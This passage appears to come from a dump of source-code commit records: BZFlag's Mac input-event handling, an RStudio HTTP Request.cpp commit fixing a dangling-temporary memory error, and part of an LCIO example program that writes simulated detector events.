eventClass = ::GetEventClass(eventRef);\n eventKind = ::GetEventKind(eventRef);\n\n \/\/ make note of any modifiers being pressed\n bzf_event.keyDown.shift = 0;\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyModifiers,\n\t\t\t ::typeUInt32,\n\t\t\t NULL,\n\t\t\t sizeof(::UInt32),\n\t\t\t NULL,\n\t\t\t &eventModifiers);\n if (eventModifiers & cmdKey) {\n \/\/ command and option both serve as bzflag alt even\n bzf_event.keyDown.shift = BzfKeyEvent::AltKey;\n }\n if (eventModifiers & shiftKey) bzf_event.keyDown.shift = BzfKeyEvent::ShiftKey;\n if (eventModifiers & optionKey) bzf_event.keyDown.shift = BzfKeyEvent::AltKey;\n if (eventModifiers & controlKey) bzf_event.keyDown.shift = BzfKeyEvent::ControlKey;\n\n switch(eventClass) {\n case ::kEventClassMouse:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamWindowMouseLocation,\n\t\t\t ::typeHIPoint,\n\t\t\t NULL,\n\t\t\t sizeof(::HIPoint),\n\t\t\t NULL,\n\t\t\t &eventLocation);\n\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamMouseButton,\n\t\t\t ::typeMouseButton,\n\t\t\t NULL,\n\t\t\t sizeof(::EventMouseButton),\n\t\t\t NULL,\n\t\t\t &eventButtons);\n\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamMouseDelta,\n\t\t\t ::typeHIPoint,\n\t\t\t NULL,\n\t\t\t sizeof(::HIPoint),\n\t\t\t NULL,\n\t\t\t &eventDelta);\n\n \/\/ handle the main event type\n switch(eventKind) {\n case ::kEventMouseDown:\n case ::kEventMouseUp:\n if(eventKind == ::kEventMouseDown) {\n\tbzf_event.type = BzfEvent::KeyDown;\n } else {\n\tbzf_event.type = BzfEvent::KeyUp;\n }\n if(eventButtons > 9) {\n\t\/\/ bzflag only handles 9 buttons for now\n\teventButtons = 9;\n }\n\n switch(eventButtons) {\n case ::kEventMouseButtonSecondary:\n\tbzf_event.keyDown.button = BzfKeyEvent::RightMouse;\n\tbreak;\n case ::kEventMouseButtonTertiary:\n\tbzf_event.keyDown.button = BzfKeyEvent::MiddleMouse;\n\tbreak;\n default:\n\t\/* consistent wth the rest of the mac experience, a command click is\n\t * the same as a right click.\n\t *\/\n\tif (bzf_event.keyDown.shift == BzfKeyEvent::AltKey) {\n\t bzf_event.keyDown.shift = 0;\n\t bzf_event.keyDown.button = BzfKeyEvent::RightMouse;\n\t} else {\n\t bzf_event.keyDown.button = BzfKeyEvent::LeftMouse + eventButtons - 1;\n\t}\n\tbreak;\n }\n break;\n\n case ::kEventMouseMoved:\n bzf_event.type = BzfEvent::MouseMove;\n bzf_event.mouseMove.x = static_cast<int>(eventDelta.x);\n bzf_event.mouseMove.y = static_cast<int>(eventDelta.y);\n break;\n\n case ::kEventMouseWheelMoved:\n break;\n }\n break;\n\n case ::kEventClassKeyboard:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyMacCharCodes,\n\t\t\t ::typeChar,\n\t\t\t NULL,\n\t\t\t sizeof(char),\n\t\t\t NULL,\n\t\t\t &eventChar);\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyCode,\n\t\t\t ::typeUInt32,\n\t\t\t NULL,\n\t\t\t sizeof(eventKeyCode),\n\t\t\t NULL,\n\t\t\t &eventKeyCode);\n switch(eventKind) {\n case ::kEventRawKeyDown:\n case ::kEventRawKeyRepeat:\n bzf_event.type = BzfEvent::KeyDown;\n getKey(bzf_event.keyDown, eventChar, eventKeyCode);\n break;\n\n case ::kEventRawKeyUp:\n bzf_event.type = BzfEvent::KeyUp;\n getKey(bzf_event.keyUp, eventChar, eventKeyCode);\n break;\n }\n break;\n\n case ::kEventClassApplication:\n switch(eventKind) {\n case ::kEventAppQuit:\n bzf_event.type = BzfEvent::Quit;\n break;\n }\n break;\n\n case ::kEventClassWindow:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamDirectObject,\n\t\t\t ::typeWindowRef,\n\t\t\t NULL,\n\t\t\t sizeof(::WindowRef),\n\t\t\t NULL,\n\t\t\t &eventWindow);\n switch(eventKind) {\n case ::kEventWindowUpdate:\n case ::kEventWindowDrawContent:\n bzf_event.type = BzfEvent::Redraw;\n BeginUpdate(eventWindow);\n EndUpdate(eventWindow);\n break;\n }\n break;\n\n case ::kEventClassCommand:\n switch(eventKind) {\n }\n break;\n }\n ReleaseEvent(eventRef);\n return true;\n}\n\nvoid MacDisplay::getKey (BzfKeyEvent &bzf_key, char char_code, ::UInt32 keycode) const {\n enum {\n kF1KeyCode\t = 0x7A,\t\/\/ Undo\n kF2KeyCode\t = 0x78,\t\/\/ Cut\n kF3KeyCode\t = 0x63,\t\/\/ Copy\n kF4KeyCode\t = 0x76,\t\/\/ Paste\n kF5KeyCode\t = 0x60,\n kF6KeyCode\t = 0x61,\n kF7KeyCode\t = 0x62,\n kF8KeyCode\t = 0x64,\n kF9KeyCode\t = 0x65,\n kF10KeyCode\t = 0x6D,\n kF11KeyCode\t = 0x67,\n kF12KeyCode\t = 0x6F,\n kF13KeyCode\t = 0x69,\t\/\/ Print Screen\n kF14KeyCode\t = 0x6B,\t\/\/ Scroll Lock\n kF15KeyCode\t = 0x71\t\/\/ Pause\n };\n bzf_key.chr = 0;\n bzf_key.button = BzfKeyEvent::NoButton;\n switch (char_code) {\n case kUpArrowCharCode : bzf_key.button = BzfKeyEvent::Up; break;\n case kDownArrowCharCode : bzf_key.button = BzfKeyEvent::Down; break;\n case kLeftArrowCharCode : bzf_key.button = BzfKeyEvent::Left; break;\n case kRightArrowCharCode: bzf_key.button = BzfKeyEvent::Right; break;\n case kHomeCharCode : bzf_key.button = BzfKeyEvent::Home; break;\n case kEndCharCode : bzf_key.button = BzfKeyEvent::End; break;\n case kPageUpCharCode : bzf_key.button = BzfKeyEvent::PageUp; break;\n case kPageDownCharCode : bzf_key.button = BzfKeyEvent::PageDown; break;\n case kHelpCharCode : bzf_key.button = BzfKeyEvent::Insert; break;\n case kDeleteCharCode : bzf_key.button = BzfKeyEvent::Delete; break;\n case kFunctionKeyCharCode:\n switch(keycode) {\n \/\/ These are the f-key codes on my apple extended keyboard\n case kF15KeyCode:\tbzf_key.button = BzfKeyEvent::Pause; break;\n case kF12KeyCode:\tbzf_key.button = BzfKeyEvent::F12;\tbreak;\n case kF11KeyCode:\tbzf_key.button = BzfKeyEvent::F11;\tbreak;\n case kF10KeyCode:\tbzf_key.button = BzfKeyEvent::F10;\tbreak;\n case kF9KeyCode:\tbzf_key.button = BzfKeyEvent::F9;\tbreak;\n case kF8KeyCode:\tbzf_key.button = BzfKeyEvent::F8;\tbreak;\n case kF7KeyCode:\tbzf_key.button = BzfKeyEvent::F7;\tbreak;\n case kF6KeyCode:\tbzf_key.button = BzfKeyEvent::F6;\tbreak;\n case kF5KeyCode:\tbzf_key.button = BzfKeyEvent::F5;\tbreak;\n case kF4KeyCode:\tbzf_key.button = BzfKeyEvent::F4;\tbreak;\n case kF3KeyCode:\tbzf_key.button = BzfKeyEvent::F3;\tbreak;\n case kF2KeyCode:\tbzf_key.button = BzfKeyEvent::F2;\tbreak;\n case kF1KeyCode:\tbzf_key.button = BzfKeyEvent::F1;\tbreak;\n default:\tfprintf(stderr, \"Unknown function key code: 0x%lX\\n\", (long unsigned int) keycode);\tbreak;\n }\n break;\n \/\/ standard key; a-z, 0-9 etc\n default:\tbzf_key.chr = char_code;\t\tbreak;\n }\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Request.cpp\n *\n * Copyright (C) 2009-12 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/http\/Request.hpp>\n\n#include <boost\/tokenizer.hpp>\n#include <boost\/asio\/buffer.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n\n#include <core\/Log.hpp>\n#include <core\/Thread.hpp>\n\nnamespace rstudio {\nnamespace core {\nnamespace http {\n\nRequest::Request() \n : remoteUid_(-1),\n parsedCookies_(false), \n parsedFormFields_(false), \n parsedQueryParams_(false)\n{\n}\n\nRequest::~Request()\n{\n}\n\nstd::string Request::absoluteUri() const\n{\n std::string scheme = \"http\";\n std::string forwardedScheme = headerValue(\"X-Forwarded-Proto\");\n if (!forwardedScheme.empty())\n scheme = forwardedScheme;\n\n return scheme + \":\/\/\" + host() + uri();\n}\n \nbool Request::acceptsContentType(const std::string& contentType) const\n{\n return headerValue(\"Accept\").find(contentType) != std::string::npos;\n}\n\nbool Request::acceptsEncoding(const std::string& encoding) const\n{\n \/\/ read , separated fields\n using namespace boost ;\n char_separator<char> comma(\",\");\n tokenizer<char_separator<char> > tokens(acceptEncoding(), comma);\n return std::find(tokens.begin(), tokens.end(), encoding) != tokens.end();\n}\n \nboost::posix_time::ptime Request::ifModifiedSince() const\n{\n using namespace boost::posix_time;\n \n std::string modifiedSinceDate = headerValue(\"If-Modified-Since\");\n if (!modifiedSinceDate.empty())\n {\n return util::parseHttpDate(modifiedSinceDate);\n }\n else\n {\n return ptime(not_a_date_time);\n }\n \n}\n\nstd::string Request::path() const\n{\n std::string::size_type pos = uri().find('?');\n if (pos != std::string::npos)\n return uri().substr(0, pos);\n else\n return uri();\n}\n\nstd::string Request::queryString() const\n{\n \/\/ find ? in uri()\n std::string::size_type pos = uri().find('?');\n if (pos != std::string::npos)\n {\n std::string::size_type qsPos = pos + 1;\n if (uri().length() > qsPos)\n return uri().substr(qsPos);\n else\n return std::string();\n }\n else\n {\n return std::string();\n }\n}\n \nconst Fields& Request::queryParams() const\n{\n if (!parsedQueryParams_)\n {\n util::parseQueryString(queryString(), &queryParams_);\n parsedQueryParams_ = true;\n }\n \n return queryParams_;\n}\n \nstd::string Request::cookieValue(const std::string& name) const\n{\n \/\/ parse cookies on demand\n if ( !parsedCookies_ )\n {\n for (Headers::const_iterator it =\n headers().begin(); it != headers().end(); ++it )\n {\n scanHeaderForCookie(it->name, it->value) ;\n }\n parsedCookies_ = true ;\n }\n\n \/\/ lookup the cookie\n return util::fieldValue(cookies_, name);\n}\n\nstd::string Request::formFieldValue(const std::string& name) const \n{\n ensureFormFieldsParsed();\n \n \/\/ lookup the form field\n return util::fieldValue(formFields_, name);\n}\n \nconst Fields& Request::formFields() const\n{\n ensureFormFieldsParsed();\n \n return formFields_ ;\n}\n \nconst File& Request::uploadedFile(const std::string& name) const\n{\n ensureFormFieldsParsed();\n \n \/\/ lookup the file\n for (Files::const_iterator it = files_.begin(); it != files_.end(); ++it)\n {\n if (it->first == name)\n return it->second;\n }\n \n \/\/ not found\n return emptyFile_;\n}\n \nstd::string Request::queryParamValue(const std::string& name) const\n{\n \/\/ lookup the query param\n return util::fieldValue(queryParams(), name);\n}\n \nvoid Request::setBody(const std::string& body)\n{\n body_ = body;\n setContentLength(body_.length());\n}\n \nvoid Request::debugPrintUri(const std::string& caption) const\n{\n static boost::mutex printMutex;\n LOCK_MUTEX(printMutex)\n {\n std::cerr << caption << \": \" << uri() << std::endl;\n }\n END_LOCK_MUTEX\n}\n\nvoid Request::resetMembers()\n{\n method_.clear() ;\n uri_.clear() ;\n parsedCookies_ = false ;\n cookies_.clear() ;\n parsedFormFields_ = false ;\n formFields_.clear() ;\n parsedQueryParams_ = false;\n queryParams_.clear();\n}\n\nvoid Request::appendFirstLineBuffers(\n std::vector<boost::asio::const_buffer>& buffers) const \n{\n using boost::asio::buffer ;\n \n \/\/ request line\n buffers.push_back(buffer(method_)) ;\n appendSpaceBuffer(buffers) ;\n buffers.push_back(buffer(uri_)) ;\n appendSpaceBuffer(buffers) ;\n appendHttpVersionBuffers(buffers) ;\n}\n\nvoid Request::ensureFormFieldsParsed() const\n{\n \/\/ parase form fields on demand\n if ( !parsedFormFields_ )\n {\n std::string contentType = headerValue(\"Content-Type\");\n if (contentType == \"application\/x-www-form-urlencoded\") \n {\n util::parseFields(body(), \n \"&\", \n \"=\", \n &formFields_, \n util::FieldDecodeForm);\n }\n else if (contentType.find(\"multipart\/form-data\") == 0)\n {\n util::parseMultipartForm(contentType, body(), &formFields_, &files_);\n }\n else\n {\n \/\/ no form fields available\n }\n \n parsedFormFields_ = true ;\n }\n}\n \nvoid Request::scanHeaderForCookie(const std::string& name, \n const std::string& value) const\n{\n if (boost::iequals(name, \"cookie\"))\n util::parseFields(value, \";, \", \"= \", &cookies_, util::FieldDecodeNone) ;\n}\n\nstd::ostream& operator << (std::ostream& stream, const Request& r)\n{\n \/\/ output request line\n stream << r.method() << \" \" \n << r.uri() \n << \" HTTP\/\" << r.httpVersionMajor() << \".\" << r.httpVersionMinor()\n << std::endl ;\n\n \/\/ output headers and body\n const Message& m = r ;\n stream << m ;\n\n return stream ;\n}\n\n} \/\/ namespacce http\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n<commit_msg>fix potential memory error<commit_after>\/*\n * Request.cpp\n *\n * Copyright (C) 2009-12 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/http\/Request.hpp>\n\n#include <boost\/tokenizer.hpp>\n#include <boost\/asio\/buffer.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n\n#include <core\/Log.hpp>\n#include <core\/Thread.hpp>\n\nnamespace rstudio {\nnamespace core {\nnamespace http {\n\nRequest::Request() \n : remoteUid_(-1),\n parsedCookies_(false), \n parsedFormFields_(false), \n parsedQueryParams_(false)\n{\n}\n\nRequest::~Request()\n{\n}\n\nstd::string Request::absoluteUri() const\n{\n std::string scheme = \"http\";\n std::string forwardedScheme = headerValue(\"X-Forwarded-Proto\");\n if (!forwardedScheme.empty())\n scheme = forwardedScheme;\n\n return scheme + \":\/\/\" + host() + uri();\n}\n \nbool Request::acceptsContentType(const std::string& contentType) const\n{\n return headerValue(\"Accept\").find(contentType) != std::string::npos;\n}\n\nbool Request::acceptsEncoding(const std::string& encoding) const\n{\n \/\/ read , separated fields\n using namespace boost ;\n char_separator<char> comma(\",\");\n std::string accepted = acceptEncoding();\n tokenizer<char_separator<char>> tokens(accepted, comma);\n return std::find(tokens.begin(), tokens.end(), encoding) != tokens.end();\n}\n \nboost::posix_time::ptime Request::ifModifiedSince() const\n{\n using namespace boost::posix_time;\n \n std::string modifiedSinceDate = headerValue(\"If-Modified-Since\");\n if (!modifiedSinceDate.empty())\n {\n return util::parseHttpDate(modifiedSinceDate);\n }\n else\n {\n return ptime(not_a_date_time);\n }\n \n}\n\nstd::string Request::path() const\n{\n std::string::size_type pos = uri().find('?');\n if (pos != std::string::npos)\n return uri().substr(0, pos);\n else\n return uri();\n}\n\nstd::string Request::queryString() const\n{\n \/\/ find ? in uri()\n std::string::size_type pos = uri().find('?');\n if (pos != std::string::npos)\n {\n std::string::size_type qsPos = pos + 1;\n if (uri().length() > qsPos)\n return uri().substr(qsPos);\n else\n return std::string();\n }\n else\n {\n return std::string();\n }\n}\n \nconst Fields& Request::queryParams() const\n{\n if (!parsedQueryParams_)\n {\n util::parseQueryString(queryString(), &queryParams_);\n parsedQueryParams_ = true;\n }\n \n return queryParams_;\n}\n \nstd::string Request::cookieValue(const std::string& name) const\n{\n \/\/ parse cookies on demand\n if ( !parsedCookies_ )\n {\n for (Headers::const_iterator it =\n headers().begin(); it != headers().end(); ++it )\n {\n scanHeaderForCookie(it->name, it->value) ;\n }\n parsedCookies_ = true ;\n }\n\n \/\/ lookup the cookie\n return util::fieldValue(cookies_, name);\n}\n\nstd::string Request::formFieldValue(const std::string& name) const \n{\n ensureFormFieldsParsed();\n \n \/\/ lookup the form field\n return util::fieldValue(formFields_, name);\n}\n \nconst Fields& Request::formFields() const\n{\n ensureFormFieldsParsed();\n \n return formFields_ ;\n}\n \nconst File& Request::uploadedFile(const std::string& name) const\n{\n ensureFormFieldsParsed();\n \n \/\/ lookup the file\n for (Files::const_iterator it = files_.begin(); it != files_.end(); ++it)\n {\n if (it->first == name)\n return it->second;\n }\n \n \/\/ not found\n return emptyFile_;\n}\n \nstd::string Request::queryParamValue(const std::string& name) const\n{\n \/\/ lookup the query param\n return util::fieldValue(queryParams(), name);\n}\n \nvoid Request::setBody(const std::string& body)\n{\n body_ = body;\n setContentLength(body_.length());\n}\n \nvoid Request::debugPrintUri(const std::string& caption) const\n{\n static boost::mutex printMutex;\n LOCK_MUTEX(printMutex)\n {\n std::cerr << caption << \": \" << uri() << std::endl;\n }\n END_LOCK_MUTEX\n}\n\nvoid Request::resetMembers()\n{\n method_.clear() ;\n uri_.clear() ;\n parsedCookies_ = false ;\n cookies_.clear() ;\n parsedFormFields_ = false ;\n formFields_.clear() ;\n parsedQueryParams_ = false;\n queryParams_.clear();\n}\n\nvoid Request::appendFirstLineBuffers(\n std::vector<boost::asio::const_buffer>& buffers) const \n{\n using boost::asio::buffer ;\n \n \/\/ request line\n buffers.push_back(buffer(method_)) ;\n appendSpaceBuffer(buffers) ;\n buffers.push_back(buffer(uri_)) ;\n appendSpaceBuffer(buffers) ;\n appendHttpVersionBuffers(buffers) ;\n}\n\nvoid Request::ensureFormFieldsParsed() const\n{\n \/\/ parase form fields on demand\n if ( !parsedFormFields_ )\n {\n std::string contentType = headerValue(\"Content-Type\");\n if (contentType == \"application\/x-www-form-urlencoded\") \n {\n util::parseFields(body(), \n \"&\", \n \"=\", \n &formFields_, \n util::FieldDecodeForm);\n }\n else if (contentType.find(\"multipart\/form-data\") == 0)\n {\n util::parseMultipartForm(contentType, body(), &formFields_, &files_);\n }\n else\n {\n \/\/ no form fields available\n }\n \n parsedFormFields_ = true ;\n }\n}\n \nvoid Request::scanHeaderForCookie(const std::string& name, \n const std::string& value) const\n{\n if (boost::iequals(name, \"cookie\"))\n util::parseFields(value, \";, \", \"= \", &cookies_, util::FieldDecodeNone) ;\n}\n\nstd::ostream& operator << (std::ostream& stream, const Request& r)\n{\n \/\/ output request line\n stream << r.method() << \" \" \n << r.uri() \n << \" HTTP\/\" << r.httpVersionMajor() << \".\" << r.httpVersionMinor()\n << std::endl ;\n\n \/\/ output headers and body\n const Message& m = r ;\n stream << m ;\n\n return stream ;\n}\n\n} \/\/ namespacce http\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n<|endoftext|>"} {"text":"<commit_before>\n#include \"lcio.h\"\n\n#include \"IO\/LCWriter.h\"\n#include \"EVENT\/LCIO.h\"\n#include \"DATA\/LCFloatVec.h\"\n#include \"DATA\/LCIntVec.h\"\n\n#include \"IMPL\/LCEventImpl.h\" \n#include \"IMPL\/LCRunHeaderImpl.h\" \n#include \"IMPL\/LCCollectionVec.h\"\n#include \"IMPL\/SimCalorimeterHitImpl.h\"\n#include \"IMPL\/SimTrackerHitImpl.h\"\n#include \"IMPL\/MCParticleImpl.h\" \n#include \"IMPL\/LCFlagImpl.h\" \n#include \"IMPL\/LCTOOLS.h\"\n\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\n\nusing namespace std ;\nusing namespace lcio ;\n\nstatic const int NRUN = 10 ;\nstatic const int NEVENT = 10 ; \/\/ events\nstatic const int NMCPART = 10 ; \/\/ mc particles per event\nstatic const int NHITS = 50 ; \/\/ calorimeter hits per event\n\nstatic string FILEN = \"simjob.slcio\" ;\n\n\n\/** Simple test program to demonstrate writing of data with lcio.\n *\/\n\nint main(int argc, char** argv ){\n \n try{\n \/\/ create sio writer\n LCWriter* lcWrt = LCFactory::getInstance()->createLCWriter() ;\n \n if( argc > 1 ) { FILEN = argv[1] ; }\n \n try{ lcWrt->open( FILEN ) ;\n }\n catch( IOException& e ){ \n cout << e.what() << endl ;\n return 0 ;\n }\n\/\/ int status ;\n\/\/ if( (status = lcWrt->open( FILEN )) != LCIO::SUCCESS ) {\n\/\/ cout << \" couldn't open file : \" << FILEN << \" status: \" << status << endl ;\n\/\/ return 0 ;\n\/\/ }\n \n \/\/ loop over runs\n for(int rn=0;rn<NRUN;rn++){\n \n LCRunHeaderImpl* runHdr = new LCRunHeaderImpl ; \n runHdr->setRunNumber( rn ) ;\n \n string detName(\"D09TileHcal\") ;\n runHdr->setDetectorName( detName ) ;\n \n stringstream description ; \n description << \" run: \" << rn <<\" just for testing lcio - no physics !\" ;\n runHdr->setDescription( description.str() ) ;\n \n string ecalName(\"ECAL007\") ;\n runHdr->addActiveSubdetector( ecalName ) ;\n \n string tpcName(\"TPC4711\") ;\n runHdr->addActiveSubdetector( tpcName ) ;\n \n lcWrt->writeRunHeader( runHdr ) ;\n \n \/\/ EventLoop - create some events and write them to the file\n for(int i=0;i<NEVENT;i++){\n\t\n\t\/\/ we need to use the implementation classes here \n\tLCEventImpl* evt = new LCEventImpl() ;\n\t\n\t\n\tevt->setRunNumber( rn ) ;\n\tevt->setEventNumber( i ) ;\n\tevt->setDetectorName( detName ) ;\n\t\n\t\/\/ create and add some mc particles \n\tLCCollectionVec* mcVec = new LCCollectionVec( LCIO::MCPARTICLE ) ;\n\t\n\n\n\tMCParticleImpl* mom = new MCParticleImpl ;\n\tmom->setPDG( 1 ) ;\n\tfloat p0[3] = { 0. , 0. , 1000. } ;\n\tmom->setMomentum( p0 ) ;\n\n\n\tfor(int j=0;j<NMCPART;j++){\n\n\t MCParticleImpl* mcp = new MCParticleImpl ;\n\n\t mcp->setPDG( 1000 * (j+1) ) ;\n\t float p[3] = { j*1. , 4.\/1024. , 8.\/1024. } ;\n\t mcp->setMomentum( p ) ;\n\n\t \/\/ create and add some daughters\n\t for(int k=0;k<3;k++){\n\t MCParticleImpl* d1 = new MCParticleImpl ;\n\n\t d1->setPDG( 1000 * (j+1) + 100 * (k+1) ) ;\n\t float pd1[3] = { k*1. , 4.1 , 8.1 } ;\n\t d1->setMomentum( pd1 ) ;\n\t \n\t for(int l=0;l<2;l++){\n\t MCParticleImpl* d2 = new MCParticleImpl ;\n\t \n\t d2->setPDG( 1000 * (j+1) + 100 * (k+1) + 10 * (l+1) ) ;\n\t float pd2[3] = { l*1. , 0.41 , 4.1 } ;\n\t d2->setMomentum( pd2 ) ;\n\n\t d2->setParent( d1 );\n\t d1->addDaughter( d2 ) ;\n\t mcVec->push_back( d2 ) ;\n\t }\n\t d1->setParent( mcp );\n\t mcp->addDaughter( d1 ) ;\n\t mcVec->push_back( d1 ) ;\n\t }\n\t \n\t mcp->setParent( mom );\n\t mom->addDaughter( mcp ) ;\n\t mcVec->push_back( mcp ) ;\n\t}\n\tmcVec->push_back( mom ) ;\n\t\n\t\/\/ now add some calorimeter hits\n\tLCCollectionVec* calVec = new LCCollectionVec( LCIO::SIMCALORIMETERHIT ) ;\n \n\t\/\/ set flag for long format (including position )\n\t\/\/ and PDG \n\tLCFlagImpl chFlag(0) ;\n\tchFlag.setBit( LCIO::CHBIT_LONG ) ;\n\tchFlag.setBit( LCIO::CHBIT_PDG ) ;\n\tcalVec->setFlag( chFlag.getFlag() ) ;\n\t\n\t\n\tfor(int j=0;j<NHITS;j++){\n\t \n\t SimCalorimeterHitImpl* hit = new SimCalorimeterHitImpl ;\n\t \n\t hit->setEnergy( 3.1415 * rand()\/RAND_MAX ) ;\n\t \n\t float pos[3] = { 1.1* rand()\/RAND_MAX , 2.2* rand()\/RAND_MAX , 3.3* rand()\/RAND_MAX } ;\n\t \n\t hit->setPosition( pos ) ;\n\t \n\t calVec->push_back( hit ) ;\n\t \n\t \/\/ assign the hits randomly to MC particles\n\t float rn = .99999*rand()\/RAND_MAX ;\n\t int mcIndx = static_cast<int>( NMCPART * rn ) ;\n\t \n\t \/\/ in order to access a MCParticle, we need a dynamic cast as the \n\t \/\/ LCCollection returns an LCIOObject - this is like vectors in Java \n\t hit->addMCParticleContribution( dynamic_cast<const MCParticle*>(mcVec->getElementAt( mcIndx )) , \n\t\t\t\t\t 0.314159, 0.1155 ) ; \/\/ no pdg\n\t \n\t}\n\t\n\t\/\/ we can modify hits that already exist in a collection, e.g. in a simulation step function ...\n\t\/\/ we need a non const pointer to the hit and use the std::vector::operator[]() instead of the \n\t\/\/ LCCollection::getElementAt(i)\n\tfor(int j=0;j<NHITS;j++){\n\t SimCalorimeterHitImpl* existingHit = dynamic_cast<SimCalorimeterHitImpl*>( (*calVec)[j] ) ;\n\n\t existingHit->addMCParticleContribution( dynamic_cast<const MCParticle*>\n\t\t\t\t\t\t (mcVec->getElementAt(0)), \n\t\t\t\t\t\t 0.1, 0. ) ;\n\t}\n\n\t\/\/ and finally some tracker hits\n\t\/\/ with some user extensions (4 floats and 2 ints) per track:\n\t\/\/ we just create parallel collections of float and int vectors\n\tLCCollectionVec* trkVec = new LCCollectionVec( LCIO::SIMTRACKERHIT ) ;\n\tLCCollectionVec* extFVec = new LCCollectionVec( LCIO::LCFLOATVEC ) ;\n\tLCCollectionVec* extIVec = new LCCollectionVec( LCIO::LCINTVEC ) ;\n\t\n\tfor(int j=0;j<NHITS;j++){\n\t \n\t SimTrackerHitImpl* hit = new SimTrackerHitImpl ;\n\t LCFloatVec* extF = new LCFloatVec ;\n\t LCIntVec* extI = new LCIntVec ;\n\t \n\t hit->setdEdx( 30e-9 ) ; \n\n\t double pos[3] = { 1.1* rand()\/RAND_MAX , 2.2* rand()\/RAND_MAX , 3.3* rand()\/RAND_MAX } ;\n\t \n\t hit->setPosition( pos ) ; \n\t \n\t \/\/ assign the hits randomly to MC particles\n\t float rn = .99999*rand()\/RAND_MAX ;\n\t int mcIndx = static_cast<int>( NMCPART * rn ) ;\n\t \n\t hit->setMCParticle( dynamic_cast<const MCParticle*>(mcVec->getElementAt( mcIndx ) ) ) ;\n\t \n\t \n\t \/\/ fill the extension vectors (4 floats, 2 ints)\n\t extF->push_back( 3.14159 ) ; \n\t for(int k=0;k<3;k++) extF->push_back( pos[k] * 0.1 ) ;\n\n\t extI->push_back( 123456789 ) ;\n\t extI->push_back( mcIndx ) ;\n\n\t \/\/ add the hit and the extensions to their corresponding collections\n\t trkVec->push_back( hit ) ;\n\t extFVec->push_back( extF ) ;\n\t extIVec->push_back( extI ) ;\n\t}\n\t\n\t\n\t\/\/ add all collection to the event\n\tevt->addCollection( (LCCollection*) mcVec , \"MCParticle\" ) ;\n\tevt->addCollection( (LCCollection*) calVec , ecalName ) ;\n\tevt->addCollection( (LCCollection*) trkVec , tpcName ) ;\n\tevt->addCollection( (LCCollection*) extFVec , tpcName+\"UserFloatExtensionTPC\" ) ;\n\tevt->addCollection( (LCCollection*) extIVec , tpcName+\"UserIntExtensionTPC\" ) ;\n\t\n\t\n\t\n\t\/\/ test: add a collection for one event only:\n\tif( rn == NRUN-1 && i == 0 ) { \/\/ first event o last run\n\t LCCollectionVec* addExtVec = new LCCollectionVec( LCIO::LCFLOATVEC ) ;\n\t LCFloatVec* addExt = new LCFloatVec ;\n\t addExt->push_back( 1. );\n\t addExt->push_back( 2. );\n\t addExt->push_back( 3. );\n\t addExt->push_back( 4. );\n\t addExtVec->push_back( addExt ) ;\n\t evt->addCollection( (LCCollection*) addExtVec , \"AdditionalExtension\" ) ;\n\t}\n\n\n \n\t\/\/ write the event to the file\n\tlcWrt->writeEvent( evt ) ;\n\t\n\t\/\/ dump the event to the screen \n\tLCTOOLS::dumpEvent( evt ) ;\n\t\/\/\tLCTOOLS::printMCParticles( mcVec ) ;\n\t\n\t\/\/ we created the event so we need to take care of deleting it ...\n\tdelete evt ;\n\t\n\tif( ! (i%100) ) cout << \". \" << flush ;\n\t\n } \/\/ evt loop\n } \/\/ run loop\n \n cout << endl \n\t << \" created \" << NRUN << \" runs with \" << NRUN*NEVENT << \" events\" \n\t << endl << endl ;\n \n \n \n lcWrt->close() ;\n \n } catch( Exception& ex){\n\n cout << \" an excpetion occured: \" << endl ;\n cout << \" \" << ex.what() << endl ;\n return 1 ;\n }\n\n return 0 ;\n}\n\n<commit_msg>changed name of extension collections.<commit_after>\n#include \"lcio.h\"\n\n#include \"IO\/LCWriter.h\"\n#include \"EVENT\/LCIO.h\"\n#include \"DATA\/LCFloatVec.h\"\n#include \"DATA\/LCIntVec.h\"\n\n#include \"IMPL\/LCEventImpl.h\" \n#include \"IMPL\/LCRunHeaderImpl.h\" \n#include \"IMPL\/LCCollectionVec.h\"\n#include \"IMPL\/SimCalorimeterHitImpl.h\"\n#include \"IMPL\/SimTrackerHitImpl.h\"\n#include \"IMPL\/MCParticleImpl.h\" \n#include \"IMPL\/LCFlagImpl.h\" \n#include \"IMPL\/LCTOOLS.h\"\n\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\n\nusing namespace std ;\nusing namespace lcio ;\n\nstatic const int NRUN = 10 ;\nstatic const int NEVENT = 10 ; \/\/ events\nstatic const int NMCPART = 10 ; \/\/ mc particles per event\nstatic const int NHITS = 50 ; \/\/ calorimeter hits per event\n\nstatic 